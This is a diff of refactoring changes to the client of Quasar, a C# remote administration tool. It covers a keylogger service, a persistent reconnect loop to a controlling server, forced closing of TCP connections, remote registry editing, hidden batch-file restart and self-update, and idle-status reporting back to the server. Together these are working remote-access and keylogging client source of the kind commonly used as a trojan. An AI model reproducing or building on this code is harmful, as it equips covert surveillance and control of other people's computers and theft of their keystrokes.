public static string Filter(string input)
{
return input.Replace("<", "&lt;").Replace(">", "&gt;").Replace("\"", "&quot;").Replace("'", "&apos;");
}
public static string GetDisplayName(Keys key, bool altGr = false)
{
string name = key.ToString();
if (name.Contains("ControlKey"))
return "Control";
else if (name.Contains("Menu"))
return "Alt";
else if (name.Contains("Win"))
return "Win";
else if (name.Contains("Shift"))
return "Shift";
return name;
}
public static string GetActiveWindowTitle()
{
string title = NativeMethodsHelper.GetForegroundWindowTitle();
return (!string.IsNullOrEmpty(title)) ? title : null;
}
}
}

View File

@ -4,23 +4,43 @@
namespace Quasar.Client.Logging namespace Quasar.Client.Logging
{ {
/// <summary>
/// Provides a service to run the keylogger.
/// </summary>
public class KeyloggerService : IDisposable public class KeyloggerService : IDisposable
{ {
/// <summary>
/// The thread containing the executed keylogger and message loop.
/// </summary>
private readonly Thread _msgLoopThread; private readonly Thread _msgLoopThread;
/// <summary>
/// The message loop which is needed to receive key events.
/// </summary>
private ApplicationContext _msgLoop; private ApplicationContext _msgLoop;
/// <summary>
/// Provides keylogging functionality.
/// </summary>
private Keylogger _keylogger; private Keylogger _keylogger;
/// <summary>
/// Initializes a new instance of <see cref="KeyloggerService"/>.
/// </summary>
public KeyloggerService() public KeyloggerService()
{ {
_msgLoopThread = new Thread(() => _msgLoopThread = new Thread(() =>
{ {
_msgLoop = new ApplicationContext(); _msgLoop = new ApplicationContext();
_keylogger = new Keylogger(15000); _keylogger = new Keylogger(15000);
_keylogger.StartLogging(); _keylogger.Start();
Application.Run(_msgLoop); Application.Run(_msgLoop);
}); });
} }
/// <summary>
/// Starts the keylogger and message loop.
/// </summary>
public void Start() public void Start()
{ {
_msgLoopThread.Start(); _msgLoopThread.Start();

View File

@ -74,11 +74,12 @@ private void Execute(ISender client, DoCloseConnection message)
message.RemotePort == table[i].RemotePort) message.RemotePort == table[i].RemotePort)
{ {
// it will close the connection only if client run as admin // it will close the connection only if client run as admin
//table[i].state = (byte)ConnectionStates.Delete_TCB; table[i].state = (byte) ConnectionState.Delete_TCB;
table[i].state = 12; // 12 for Delete_TCB state
var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i])); var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(table[i]));
Marshal.StructureToPtr(table[i], ptr, false); Marshal.StructureToPtr(table[i], ptr, false);
NativeMethods.SetTcpEntry(ptr); NativeMethods.SetTcpEntry(ptr);
Execute(client, new GetConnections());
return;
} }
} }
} }
@ -88,11 +89,12 @@ private NativeMethods.MibTcprowOwnerPid[] GetTable()
NativeMethods.MibTcprowOwnerPid[] tTable; NativeMethods.MibTcprowOwnerPid[] tTable;
var afInet = 2; var afInet = 2;
var buffSize = 0; var buffSize = 0;
var ret = NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); // retrieve correct pTcpTable size
NativeMethods.GetExtendedTcpTable(IntPtr.Zero, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
var buffTable = Marshal.AllocHGlobal(buffSize); var buffTable = Marshal.AllocHGlobal(buffSize);
try try
{ {
ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll); var ret = NativeMethods.GetExtendedTcpTable(buffTable, ref buffSize, true, afInet, NativeMethods.TcpTableClass.TcpTableOwnerPidAll);
if (ret != 0) if (ret != 0)
return null; return null;
var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid)); var tab = (NativeMethods.MibTcptableOwnerPid)Marshal.PtrToStructure(buffTable, typeof(NativeMethods.MibTcptableOwnerPid));

View File

@ -14,16 +14,38 @@
namespace Quasar.Client.Networking namespace Quasar.Client.Networking
{ {
public class QuasarClient : Client public class QuasarClient : Client, IDisposable
{ {
/// <summary> /// <summary>
/// When Exiting is true, stop all running threads and exit. /// Used to keep track if the client has been identified by the server.
/// </summary>
private bool _identified;
/// <summary>
/// The hosts manager which contains the available hosts to connect to.
/// </summary> /// </summary>
public bool Exiting { get; private set; }
public bool Identified { get; private set; }
private readonly HostsManager _hosts; private readonly HostsManager _hosts;
/// <summary>
/// Random number generator to slightly randomize the reconnection delay.
/// </summary>
private readonly SafeRandom _random; private readonly SafeRandom _random;
/// <summary>
/// Create a <see cref="_token"/> and signals cancellation.
/// </summary>
private readonly CancellationTokenSource _tokenSource;
/// <summary>
/// The token to check for cancellation.
/// </summary>
private readonly CancellationToken _token;
/// <summary>
/// Initializes a new instance of the <see cref="QuasarClient"/> class.
/// </summary>
/// <param name="hostsManager">The hosts manager which contains the available hosts to connect to.</param>
/// <param name="serverCertificate">The server certificate.</param>
public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificate)
: base(serverCertificate) : base(serverCertificate)
{ {
@ -32,12 +54,17 @@ public QuasarClient(HostsManager hostsManager, X509Certificate2 serverCertificat
base.ClientState += OnClientState; base.ClientState += OnClientState;
base.ClientRead += OnClientRead; base.ClientRead += OnClientRead;
base.ClientFail += OnClientFail; base.ClientFail += OnClientFail;
this._tokenSource = new CancellationTokenSource();
this._token = _tokenSource.Token;
} }
/// <summary>
/// Connection loop used to reconnect and keep the connection open.
/// </summary>
public void ConnectLoop() public void ConnectLoop()
{ {
// TODO: do not re-use object // TODO: do not re-use object
while (!Exiting) // Main Connect Loop while (!_token.IsCancellationRequested)
{ {
if (!Connected) if (!Connected)
{ {
@ -48,10 +75,10 @@ public void ConnectLoop()
while (Connected) // hold client open while (Connected) // hold client open
{ {
Thread.Sleep(1000); _token.WaitHandle.WaitOne(1000);
} }
if (Exiting) if (_token.IsCancellationRequested)
{ {
Disconnect(); Disconnect();
return; return;
@ -63,12 +90,12 @@ public void ConnectLoop()
private void OnClientRead(Client client, IMessage message, int messageLength) private void OnClientRead(Client client, IMessage message, int messageLength)
{ {
if (!Identified) if (!_identified)
{ {
if (message.GetType() == typeof(ClientIdentificationResult)) if (message.GetType() == typeof(ClientIdentificationResult))
{ {
var reply = (ClientIdentificationResult) message; var reply = (ClientIdentificationResult) message;
Identified = reply.Result; _identified = reply.Result;
} }
return; return;
} }
@ -84,7 +111,7 @@ private void OnClientFail(Client client, Exception ex)
private void OnClientState(Client client, bool connected) private void OnClientState(Client client, bool connected)
{ {
Identified = false; // always reset identification _identified = false; // always reset identification
if (connected) if (connected)
{ {
@ -111,10 +138,31 @@ private void OnClientState(Client client, bool connected)
} }
} }
/// <summary>
/// Stops the connection loop and disconnects the connection.
/// </summary>
public void Exit() public void Exit()
{ {
Exiting = true; _tokenSource.Cancel();
Disconnect(); Disconnect();
} }
/// <summary>
/// Disposes all managed and unmanaged resources associated with this activity detection service.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_tokenSource.Cancel();
_tokenSource.Dispose();
}
}
} }
} }

View File

@ -30,6 +30,7 @@
<Reference Include="System.Management" /> <Reference Include="System.Management" />
<Reference Include="System.Security" /> <Reference Include="System.Security" />
<Reference Include="System.ServiceModel" /> <Reference Include="System.ServiceModel" />
<Reference Include="System.Web" />
<Reference Include="System.Windows.Forms" /> <Reference Include="System.Windows.Forms" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>

View File

@ -29,7 +29,7 @@ public class QuasarApplication : IDisposable
/// <summary> /// <summary>
/// The client used for the connection to the server. /// The client used for the connection to the server.
/// </summary> /// </summary>
public QuasarClient ConnectClient; private QuasarClient _connectClient;
/// <summary> /// <summary>
/// List of <see cref="IMessageProcessor"/> to keep track of all used message processors. /// List of <see cref="IMessageProcessor"/> to keep track of all used message processors.
@ -110,13 +110,13 @@ public void Run()
} }
var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS)); var hosts = new HostsManager(new HostsConverter().RawHostsToList(Settings.HOSTS));
ConnectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE); _connectClient = new QuasarClient(hosts, Settings.SERVERCERTIFICATE);
InitializeMessageProcessors(ConnectClient); InitializeMessageProcessors(_connectClient);
_userActivityDetection = new ActivityDetection(ConnectClient); _userActivityDetection = new ActivityDetection(_connectClient);
_userActivityDetection.Start(); _userActivityDetection.Start();
ConnectClient.ConnectLoop(); _connectClient.ConnectLoop();
} }
} }
@ -130,17 +130,26 @@ private static void HandleUnhandledException(object sender, UnhandledExceptionEv
if (e.IsTerminating) if (e.IsTerminating)
{ {
Debug.WriteLine(e); Debug.WriteLine(e);
string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath); try
if (string.IsNullOrEmpty(batchFile)) return;
ProcessStartInfo startInfo = new ProcessStartInfo
{ {
WindowStyle = ProcessWindowStyle.Hidden, string batchFile = BatchFile.CreateRestartBatch(Application.ExecutablePath);
UseShellExecute = true,
FileName = batchFile ProcessStartInfo startInfo = new ProcessStartInfo
}; {
Process.Start(startInfo); WindowStyle = ProcessWindowStyle.Hidden,
Environment.Exit(0); UseShellExecute = true,
FileName = batchFile
};
Process.Start(startInfo);
}
catch (Exception exception)
{
Debug.WriteLine(exception);
}
finally
{
Environment.Exit(0);
}
} }
} }
@ -204,6 +213,7 @@ protected virtual void Dispose(bool disposing)
_keyloggerService?.Dispose(); _keyloggerService?.Dispose();
_userActivityDetection?.Dispose(); _userActivityDetection?.Dispose();
ApplicationMutex.Dispose(); ApplicationMutex.Dispose();
_connectClient.Dispose();
} }
} }
} }

View File

@ -1,28 +1,19 @@
using System; using Microsoft.Win32;
using Microsoft.Win32;
using Quasar.Client.Extensions; using Quasar.Client.Extensions;
using Quasar.Client.Helper; using Quasar.Client.Helper;
using Quasar.Common.Models; using Quasar.Common.Models;
using System;
namespace Quasar.Client.Registry namespace Quasar.Client.Registry
{ {
public class RegistryEditor public class RegistryEditor
{ {
#region CONSTANTS
#region RegistryKey
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry"; private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry"; private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry"; private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
#endregion
#region RegistryValue
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry"; private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry"; private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
@ -31,17 +22,12 @@ public class RegistryEditor
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry"; private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
#endregion
#endregion
#region RegistryKey
/// <summary> /// <summary>
/// Attempts to create the desired sub key to the specified parent. /// Attempts to create the desired sub key to the specified parent.
/// </summary> /// </summary>
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param> /// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param> /// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if action succeeded.</returns> /// <returns>Returns true if action succeeded.</returns>
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg) public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
{ {
@ -96,7 +82,7 @@ public static bool CreateRegistryKey(string parentPath, out string name, out str
/// </summary> /// </summary>
/// <param name="name">The name of the sub-key to delete.</param> /// <param name="name">The name of the sub-key to delete.</param>
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param> /// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns> /// <returns>Returns true if the operation succeeded.</returns>
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg) public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
{ {
@ -145,7 +131,7 @@ public static bool DeleteRegistryKey(string name, string parentPath, out string
/// <param name="oldName">The name of the key to rename.</param> /// <param name="oldName">The name of the key to rename.</param>
/// <param name="newName">The name to use for renaming.</param> /// <param name="newName">The name to use for renaming.</param>
/// <param name="parentPath">The path of the parent for which to rename the key.</param> /// <param name="parentPath">The path of the parent for which to rename the key.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns> /// <returns>Returns true if the operation succeeded.</returns>
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg) public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
{ {
@ -189,17 +175,13 @@ public static bool RenameRegistryKey(string oldName, string newName, string pare
} }
} }
#endregion
#region RegistryValue
/// <summary> /// <summary>
/// Attempts to create the desired value for the specified parent. /// Attempts to create the desired value for the specified parent.
/// </summary> /// </summary>
/// <param name="keyPath">The path to the key for which to create the registry value on.</param> /// <param name="keyPath">The path to the key for which to create the registry value on.</param>
/// <param name="kind">The type of the registry value to create.</param> /// <param name="kind">The type of the registry value to create.</param>
/// <param name="name">output parameter that holds the name of the registry value that was create.</param> /// <param name="name">output parameter that holds the name of the registry value that was create.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns> /// <returns>Returns true if the operation succeeded.</returns>
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg) public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
{ {
@ -252,7 +234,7 @@ public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, o
/// </summary> /// </summary>
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param> /// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
/// /// <param name="name">The name of the registry value to delete.</param> /// /// <param name="name">The name of the registry value to delete.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns> /// <returns>Returns true if the operation succeeded.</returns>
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg) public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
{ {
@ -301,7 +283,7 @@ public static bool DeleteRegistryValue(string keyPath, string name, out string e
/// <param name="oldName">The name of the registry value to rename.</param> /// <param name="oldName">The name of the registry value to rename.</param>
/// <param name="newName">The name to use for renaming.</param> /// <param name="newName">The name to use for renaming.</param>
/// <param name="keyPath">The path of the key for which to rename the registry value.</param> /// <param name="keyPath">The path of the key for which to rename the registry value.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns> /// <returns>Returns true if the operation succeeded.</returns>
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg) public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
{ {
@ -352,7 +334,7 @@ public static bool RenameRegistryValue(string oldName, string newName, string ke
/// RegValueData object.</param> /// RegValueData object.</param>
/// <param name="keyPath">The path to the key for which to change the /// <param name="keyPath">The path to the key for which to change the
/// value of the registry value on.</param> /// value of the registry value on.</param>
/// <param name="errorMsg">output parameter that contians possible error message.</param> /// <param name="errorMsg">output parameter that contains possible error message.</param>
/// <returns>Returns true if the operation succeeded.</returns> /// <returns>Returns true if the operation succeeded.</returns>
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg) public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
{ {
@ -395,8 +377,6 @@ public static bool ChangeRegistryValue(RegValueData value, string keyPath, out s
} }
#endregion
public static RegistryKey GetWritableRegistryKey(string keyPath) public static RegistryKey GetWritableRegistryKey(string keyPath)
{ {
RegistryKey key = RegistrySeeker.GetRootKey(keyPath); RegistryKey key = RegistrySeeker.GetRootKey(keyPath);

View File

@ -1,42 +1,24 @@
using System; using Microsoft.Win32;
using System.Collections.Generic;
using Microsoft.Win32;
using Quasar.Client.Extensions; using Quasar.Client.Extensions;
using Quasar.Client.Helper; using Quasar.Client.Helper;
using Quasar.Common.Models; using Quasar.Common.Models;
using System;
using System.Collections.Generic;
namespace Quasar.Client.Registry namespace Quasar.Client.Registry
{ {
public class RegistrySeeker public class RegistrySeeker
{ {
#region Fields
/// <summary>
/// The lock used to ensure thread safety.
/// </summary>
private readonly object locker = new object();
/// <summary> /// <summary>
/// The list containing the matches found during the search. /// The list containing the matches found during the search.
/// </summary> /// </summary>
private List<RegSeekerMatch> matches; private readonly List<RegSeekerMatch> _matches;
public RegSeekerMatch[] Matches public RegSeekerMatch[] Matches => _matches?.ToArray();
{
get
{
if (matches != null)
return matches.ToArray();
return null;
}
}
#endregion
public RegistrySeeker() public RegistrySeeker()
{ {
matches = new List<RegSeekerMatch>(); _matches = new List<RegSeekerMatch>();
} }
public void BeginSeeking(string rootKeyName) public void BeginSeeking(string rootKeyName)
@ -112,14 +94,13 @@ private void ProcessKey(RegistryKey key, string keyName)
{ {
AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0); AddMatch(keyName, RegistryKeyHelper.GetDefaultValues(), 0);
} }
} }
private void AddMatch(string key, RegValueData[] values, int subkeycount) private void AddMatch(string key, RegValueData[] values, int subkeycount)
{ {
RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0}; RegSeekerMatch match = new RegSeekerMatch {Key = key, Data = values, HasSubKeys = subkeycount > 0};
matches.Add(match); _matches.Add(match);
} }
public static RegistryKey GetRootKey(string subkeyFullPath) public static RegistryKey GetRootKey(string subkeyFullPath)

View File

@ -1,6 +1,5 @@
using Quasar.Client.Config; using Quasar.Client.Config;
using Quasar.Client.IO; using Quasar.Client.IO;
using System;
using System.Diagnostics; using System.Diagnostics;
using System.Windows.Forms; using System.Windows.Forms;
@ -18,9 +17,6 @@ public void Uninstall()
string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH); string batchFile = BatchFile.CreateUninstallBatch(Application.ExecutablePath, Settings.LOGSPATH);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create uninstall-batch file.");
ProcessStartInfo startInfo = new ProcessStartInfo ProcessStartInfo startInfo = new ProcessStartInfo
{ {
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,

View File

@ -20,9 +20,6 @@ public void Update(string newFilePath)
string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath); string batchFile = BatchFile.CreateUpdateBatch(Application.ExecutablePath, newFilePath);
if (string.IsNullOrEmpty(batchFile))
throw new Exception("Could not create update batch file.");
ProcessStartInfo startInfo = new ProcessStartInfo ProcessStartInfo startInfo = new ProcessStartInfo
{ {
WindowStyle = ProcessWindowStyle.Hidden, WindowStyle = ProcessWindowStyle.Hidden,

View File

@ -7,16 +7,35 @@
namespace Quasar.Client.User namespace Quasar.Client.User
{ {
/// <summary>
/// Provides user activity detection and sends <see cref="SetUserStatus"/> messages on change.
/// </summary>
public class ActivityDetection : IDisposable public class ActivityDetection : IDisposable
{ {
public UserStatus LastUserStatus { get; private set; } /// <summary>
/// Stores the last user status to detect changes.
/// </summary>
private UserStatus _lastUserStatus;
/// <summary>
/// The client to use for communication with the server.
/// </summary>
private readonly QuasarClient _client; private readonly QuasarClient _client;
/// <summary>
/// Create a <see cref="_token"/> and signals cancellation.
/// </summary>
private readonly CancellationTokenSource _tokenSource; private readonly CancellationTokenSource _tokenSource;
/// <summary>
/// The token to check for cancellation.
/// </summary>
private readonly CancellationToken _token; private readonly CancellationToken _token;
/// <summary>
/// Initializes a new instance of <see cref="ActivityDetection"/> using the given client.
/// </summary>
/// <param name="client">The name of the mutex.</param>
public ActivityDetection(QuasarClient client) public ActivityDetection(QuasarClient client)
{ {
_client = client; _client = client;
@ -29,44 +48,47 @@ private void OnClientStateChange(Networking.Client s, bool connected)
{ {
// reset user status // reset user status
if (connected) if (connected)
LastUserStatus = UserStatus.Active; _lastUserStatus = UserStatus.Active;
} }
/// <summary>
/// Starts the user activity detection.
/// </summary>
public void Start() public void Start()
{ {
new Thread(UserIdleThread).Start(); new Thread(UserActivityThread).Start();
} }
public void Dispose() /// <summary>
/// Checks for user activity changes sends <see cref="SetUserStatus"/> to the <see cref="_client"/> on change.
/// </summary>
private void UserActivityThread()
{ {
_client.ClientState -= OnClientStateChange; while (!_token.WaitHandle.WaitOne(10))
_tokenSource.Cancel();
_tokenSource.Dispose();
}
private void UserIdleThread()
{
while (!_token.WaitHandle.WaitOne(1000))
{ {
if (IsUserIdle()) if (IsUserIdle())
{ {
if (LastUserStatus != UserStatus.Idle) if (_lastUserStatus != UserStatus.Idle)
{ {
LastUserStatus = UserStatus.Idle; _lastUserStatus = UserStatus.Idle;
_client.Send(new SetUserStatus {Message = LastUserStatus}); _client.Send(new SetUserStatus {Message = _lastUserStatus});
} }
} }
else else
{ {
if (LastUserStatus != UserStatus.Active) if (_lastUserStatus != UserStatus.Active)
{ {
LastUserStatus = UserStatus.Active; _lastUserStatus = UserStatus.Active;
_client.Send(new SetUserStatus {Message = LastUserStatus}); _client.Send(new SetUserStatus {Message = _lastUserStatus});
} }
} }
} }
} }
/// <summary>
/// Determines whether the user is idle if the last user input was more than 10 minutes ago.
/// </summary>
/// <returns><c>True</c> if the user is idle, else <c>false</c>.</returns>
private bool IsUserIdle() private bool IsUserIdle()
{ {
var ticks = Environment.TickCount; var ticks = Environment.TickCount;
@ -77,5 +99,24 @@ private bool IsUserIdle()
return (idleTime > 600); // idle for 10 minutes return (idleTime > 600); // idle for 10 minutes
} }
/// <summary>
/// Disposes all managed and unmanaged resources associated with this activity detection service.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_client.ClientState -= OnClientStateChange;
_tokenSource.Cancel();
_tokenSource.Dispose();
}
}
} }
} }